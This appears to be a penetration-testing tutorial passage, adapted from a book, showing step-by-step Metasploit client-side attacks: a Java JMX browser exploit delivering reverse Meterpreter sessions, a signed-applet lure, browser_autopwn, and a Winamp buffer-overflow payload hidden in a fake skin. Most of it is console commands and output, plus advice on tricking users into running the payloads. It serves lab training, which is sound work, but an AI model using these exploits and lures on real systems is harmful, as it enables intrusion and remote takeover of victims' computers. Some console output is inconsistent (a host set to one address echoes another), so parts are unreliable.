Java vulnerabilities are a prevalent client-side attack vector. In fact, some experts suggest that in light of the security issues that plague Java, users should uninstall or disable the software in their browsers.

One thing that makes Java attacks so powerful is that one exploit can gain access to multiple platforms. Windows, Mac, and even Linux systems running the Java Runtime Environment (JRE) in a browser can all be
exploited by exactly the same exploit when that browser opens a malicious page. Here are some sample exploits.

msf > **use exploit/multi/browser/java_jre17_jmxbean**
Use of this module is similar to that of the Internet Explorer Aurora exploit.

msf exploit(java_jre17_jmxbean) > **show options**

```
msf  exploit(java_jre17_jmxbean) > set SRVHOST 192.168.20.9
SRVHOST => 10.0.1.9
msf  exploit(java_jre17_jmxbean) > set SRVPORT 80
SRVPORT => 80
msf  exploit(java_jre17_jmxbean) > set URIPATH javaexploit
URIPATH => javaexploit
msf  exploit(java_jre17_jmxbean) > show payloads❶
```

```
Compatible Payloads
===================

   Name                           Disclosure Date  Rank    Description
   ----                           ---------------  ----    -----------
--snip--
   java/meterpreter/bind_tcp                       normal  Java Meterpreter, Java Bind TCP
                                                             Stager
   java/meterpreter/reverse_http                   normal  Java Meterpreter, Java Reverse HTTP
                                                             Stager
   java/meterpreter/reverse_https                  normal  Java Meterpreter, Java Reverse
                                                             HTTPS Stager
   java/meterpreter/reverse_tcp                    normal  Java Meterpreter, Java Reverse TCP
                                                             Stager
   java/shell_reverse_tcp                          normal  Java Command Shell, Reverse TCP
                                                             Inline
--snip--
msf  exploit(java_jre17_jmxbean) > set payload java/meterpreter/reverse_http❷
payload => java/meterpreter/reverse_http
```

```
msf  exploit(java_jre17_jmxbean) > show options

Module options (exploit/multi/browser/java_jre17_jmxbean):

--snip--

Payload options (java/meterpreter/reverse_http):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The local listener hostname
   LPORT  8080             yes       The local listener port


Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)
```

```
msf  exploit(java_jre17_jmxbean) > set LHOST 192.168.20.9
LHOST => 192.168.20.9
msf  exploit(java_jre17_jmxbean) > exploit
[*] Exploit running as background job.

[*] Started HTTP reverse handler on http://192.168.20.9:8080/
[*] Using URL: http://192.168.20.9:80/javaexploit
[*] Server started.
msf  exploit(java_jre17_jmxbean) > [*] 192.168.20.12       java_jre17_jmxbean - handling
request for /javaexploit
[*] 192.168.20.12        java_jre17_jmxbean - handling request for /javaexploit/
[*] 192.168.20.12        java_jre17_jmxbean - handling request for /javaexploit/hGPonLVc.jar
[*] 192.168.20.12        java_jre17_jmxbean - handling request for /javaexploit/hGPonLVc.jar
[*] 192.168.20.12:49188 Request received for /INITJM...
[*] Meterpreter session 1 opened (192.168.20.9:8080 -> 192.168.20.12:49188) at 2015-05-05
19:15:19 -0400
```

These options should look familiar. The default LPORT option is now 8080 instead of 4444. Notice that both SRVPORT and LPORT default to 8080, so we'll need to change at least one of them. After you've finished setting options, start the exploit server and browse to the malicious page from your Windows 7 target. Either Internet Explorer or Mozilla Firefox will fall victim to this attack as long as you have enabled the vulnerable Java browser plugin.

One of the great features of the HTTP and HTTPS Meterpreter payloads, aside from being legitimate HTTP and HTTPS traffic and thus by passing even some traffic-inspecting filters, is their ability to reattach to
a dropped session.

```
msf  exploit(java_jre17_jmxbean) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > detach

[*] 10.0.1.16 - Meterpreter session 1 closed.  Reason: User exit
msf  exploit(java_jre17_jmxbean) >
[*] 192.168.20.12:49204 Request received for /WzZ7_vgHcXA6kWjDi4koK/...
[*] Incoming orphaned session WzZ7_vgHcXA6kWjDi4koK, reattaching...
[*] Meterpreter session 2 opened (192.168.20.9:8080 -> 192.168.20.12:49204) at
2015-05-05 19:15:45 -0400 ❶
```

Signed Java Applet

Much like the attack against PDF users discussed in "PDF Embedded Executable" on page 228, we can bypass the need for an unpatched Java vulnerability by simply asking users to allow us to run malicious code. You've probably seen browser warnings like, "This site would like to run this thing in your browser, how would you like to proceed?" Sometimes even security-savvy users can be convinced to just say "Yes" and bypass this warning without further investigation if they can be convinced that what's on the other side is useful.

```
msf  exploit(java_jre17_jmxbean) > use exploit/multi/browser/java_signed_applet
msf  exploit(java_signed_applet) > show options

Module options (exploit/multi/browser/java_signed_applet):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   APPLETNAME      SiteLoader       yes       The main applet's class name.
 ❶CERTCN           SiteLoader       yes       The CN= value for the certificate. Cannot contain
                                                ',' or '/'
   SRVHOST         0.0.0.0          yes       The local host to listen on. This must be an
                                                address on the local machine or 0.0.0.0
   SRVPORT         8080             yes       The local port to listen on.
   SSL             false            no        Negotiate SSL for incoming connections
   SSLCert                          no        Path to a custom SSL certificate (default is
                                                randomly generated)
   SSLVersion      SSL3             no        Specify the version of SSL that should be used
                                                (accepted: SSL2, SSL3, TLS1)
 ❷SigningCert                       no        Path to a signing certificate in PEM or PKCS12
                                                (.pfx) format
   SigningKey                       no        Path to a signing key in PEM format
   SigningKeyPass                   no        Password for signing key (required if SigningCert
                                                is a .pfx)
   URIPATH                          no        The URI to use for this exploit (default is
                                                random)

Exploit target:

   Id  Name
   --  ----
 ❸1   Windows x86 (Native Payload)
```

Browse to the Metasploit server from your Windows 7 target, and you should be prompted to run the applet, as shown in Figure 10-2. The security warning informs you that if this applet is malicious, it will have access
to the system and lets you know you should run the application only if the publisher is trusted. Because we didn't use a signing certificate that is trusted by the browser certificate chain, the warning says in big letters that
the publisher is unknown.

Browser auto pawn

(Read how browser auto pawn works?)

```
msf > use auxiliary/server/browser_autopwn
msf auxiliary(browser_autopwn) > show options

Module options (auxiliary/server/browser_autopwn):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   LHOST                        yes       The IP address to use for reverse-connect payloads
   SRVHOST     0.0.0.0          yes       The local host to listen on. This must be an address
                                            on the local machine or 0.0.0.0
   SRVPORT     8080             yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLCert                      no        Path to a custom SSL certificate (default is randomly
                                            generated)
   SSLVersion  SSL3             no        Specify the version of SSL that should be used
                                            (accepted: SSL2, SSL3, TLS1)
   URIPATH                      no        The URI to use for this exploit (default is random)

msf auxiliary(browser_autopwn) > set LHOST 192.168.20.9
LHOST => 192.168.20.9
msf auxiliary(browser_autopwn) > set URIPATH autopwn
URIPATH => autopwn
msf auxiliary(browser_autopwn) > exploit
[*] Auxiliary module execution completed

[*] Setup
```

Winamp

we trick the user into replacing a configuration file for the Winamp music player program. When the user next opens the program, the evil configuration file will be processed regardless of which music file the user opens. The Metasploit module we'll use is *exploit/windows/fileformat/winamp_maki_bof*, which exploits a buffer overflow issue in Winamp version 5.55.

```
msf > use exploit/windows/fileformat/winamp_maki_bof
msf  exploit(winamp_maki_bof) > show options

Module options (exploit/windows/fileformat/winamp_maki_bof):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Winamp 5.55 / Windows XP SP3 / Windows 7 SP1


msf  exploit(winamp_maki_bof) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf  exploit(winamp_maki_bof) > set LHOST 192.168.20.9
LHOST => 192.168.20.9
```

Choose a compatible Windows payload as shown. Once the malicious Maki file has been generated, copy it to the Apache web server directory, and set up a payload handler. (An example of setting up the handler is included in Listing 10-11 on page 227, Book: Georgia.) Now we need to package this malicious file in such a way that a user may be convinced to load it in Winamp. We can create a new Winamp skin by copying one of the skins packaged with Winamp. We can replace the *mcvcore.maki* file from our example skin with our malicious one. It doesn't matter what our skin actually looks like, because it will cause Winamp to hang and send us our session in Metasploit.

In Windows 7, make a copy of the default Bento Winamp skin folder from *C:\Program Files\Winamp\Skins* and copy it to Kali. Rename the folder *Bento* to *Rocketship*. Replace the file *Rocketship\scripts\mcvcore.maki* with the
malicious file we just created in Metasploit. Zip the folder and copy it to the web server. In the next chapter we will look at methods of creating believable social-engineering campaigns, but suffice it to say, if we can convince users that this malicious skin will make their Winamp look like aÂ€rocket ship, we might be able to convince users to install it. Switch to Windows 7, download the zipped skin from the Kali web server, unzip it, and save the folder to *C:\Program Files\Winamp\Skins*

Now open Winamp, go to **Options4Skins**, and choose **Rocketship.** Once you select the malicious skin, Winamp will appear to close, and you will receive a session in your Metasploit handler.